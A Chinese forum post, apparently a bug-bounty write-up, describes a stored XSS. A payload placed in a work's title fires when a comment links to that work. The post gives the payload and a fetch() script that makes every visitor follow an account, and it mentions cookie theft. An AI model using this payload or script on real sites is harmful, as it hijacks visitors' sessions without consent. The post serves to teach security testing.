找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1765

积分

0

好友

233

主题
发表于 13 小时前 | 查看: 3| 回复: 0

漏洞复现

功能点一:作品发布

首先,这个Web应用存在一个可以发布作品的功能点。既然是挖掘XSS,我们的第一反应自然是尝试插入一些经典的XSS Payload进行测试。果然,直接测试并没有触发任何反应。

但这显然不是放弃的理由。在实际的安全测试过程中,很多漏洞往往由多个看似无害的功能点组合触发。我们需要拓宽思路,进行更多尝试。

这个表单中,“作品名称”参数(name)是我们关注的重点输入点。
作品发布表单界面,红色箭头指向“作品名称”输入框

我们提交了一个包含Payload的作品名称:<img src=onerror=alert(1)>
提交的JSON数据,name字段值为XSS Payload

发布后的显示效果如下,Payload被当作纯文本处理,并未执行。看来这个功能点本身有基本的过滤或编码。
前端显示效果,XSS Payload被转义显示

第一个功能点测试无果,我们转向下一个。

功能点二:评论功能

评论区是XSS漏洞的传统“高发区”,也是防护重点。我们同样先进行基础的Payload测试。
评论框中输入XSS Payload

测试结果显示,直接评论XSS代码同样没有触发漏洞。然而,在浏览他人评论时,我发现一个有趣的现象:如果你评论的内容是该网站内另一个作品的链接,系统会自动将这个链接转换为对应作品的名称,并渲染成一个<a>标签(外站链接无此效果)。
评论中的站内链接被自动转换为超链接

组合利用:巧妙的漏洞触发链

这时,一个思路浮现出来:如果将这两个功能点结合起来呢?

我们之前创建了一个包含XSS Payload(<img src=onerror=alert(1)>)的作品。现在,我们在这个作品的评论区(或任何作品的评论区),发布一条评论,内容就是那个“带毒”作品的站内链接。
在评论框内输入带XSS Payload的作品链接

当这条评论发布后,系统按照规则将链接转换。但由于链接对应的“作品名称”正是我们的XSS Payload,转换生成的<a>标签的href或内部文本就可能包含未经妥善处理的Payload。一旦其他用户访问这个包含“特殊”评论的页面,XSS便被成功触发。
成功触发XSS弹窗

Bingo!漏洞成功复现。这验证了我们的猜想:看似安全的独立功能,在特定业务流程组合下,可能产生预料之外的安全风险。

漏洞利用升级:从弹窗到“自动关注”

一个弹窗(alert(1))证明了漏洞的存在,但它的实际危害有限。XSS的核心威力在于恶意JavaScript代码能够执行任意操作,包括发起HTTP请求。

我们可以抓取网站关注用户的API,然后构造一段JS代码。当用户访问包含恶意评论的页面时,这段代码会自动执行,并以该用户的身份发起“关注”特定账号的请求。

受一些公开的XSS利用案例启发,我编写了以下利用代码。其核心是使用Fetch API模拟关注请求:

function getHeaders() {
      return {
        "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "accept-language": "zh-CN,zh;q=0.9",
        "cache-control": "max-age=0",
        "content-type": "application/x-www-form-urlencoded",
        "sec-ch-ua": "\"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"108\", \"Google Chrome\";v=\"108\"",
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": "\"Windows\"",
        "sec-fetch-dest": "document",
        "sec-fetch-mode": "navigate",
        "sec-fetch-site": "same-site",
        "Content-Type": 'application/json'
      };
    }
    function apiGet() {
      return fetch("https://xxxxxxx/follow", {
        method: "POST",
        headers: getHeaders(),
        mode: "cors",
        body: JSON.stringify({
          "followed_user_id": xxxxxx,
          "state": 1
        })
      }).then(function () {
        console.log("关注成功");
      })
    }
    apiGet()

将上述代码嵌入到之前的XSS Payload中,并在其他热门作品的评论区发布恶意链接。
在他人作品下评论恶意链接

通过抓包工具可以观察到,当其他用户浏览该作品时,关注请求被成功发出。
抓包工具显示成功的POST关注请求

如此一来,只要有一定浏览量,“自动涨粉”就不再是玩笑。这仅仅是利用方式之一,通过更复杂的JS代码(或借助外部XSS平台),攻击者完全可以实现窃取用户Cookie、盗取敏感信息等危害更大的操作。

总结

本次挖掘过程给我们带来了清晰的启示:在漏洞挖掘时,思维不能局限于单个功能点的直接测试。

我们需要深入理解开发者实现每个功能的意图,并思考不同功能点在业务流程中串联、组合时,是否会产生“1+1>2”的化学反应。这种由功能交互引发的逻辑漏洞,往往能绕过针对单一输入点的前端防护,值得在安全测试中投入更多关注。




上一篇:IPVS解析:为何它是Kubernetes Service负载均衡的首选方案?
下一篇:我在STM32调LWIP:TCP数据竟不按顺序交付?原来是零拷贝和DMA在捣鬼
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-5 19:11 , Processed in 0.385978 second(s), 43 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表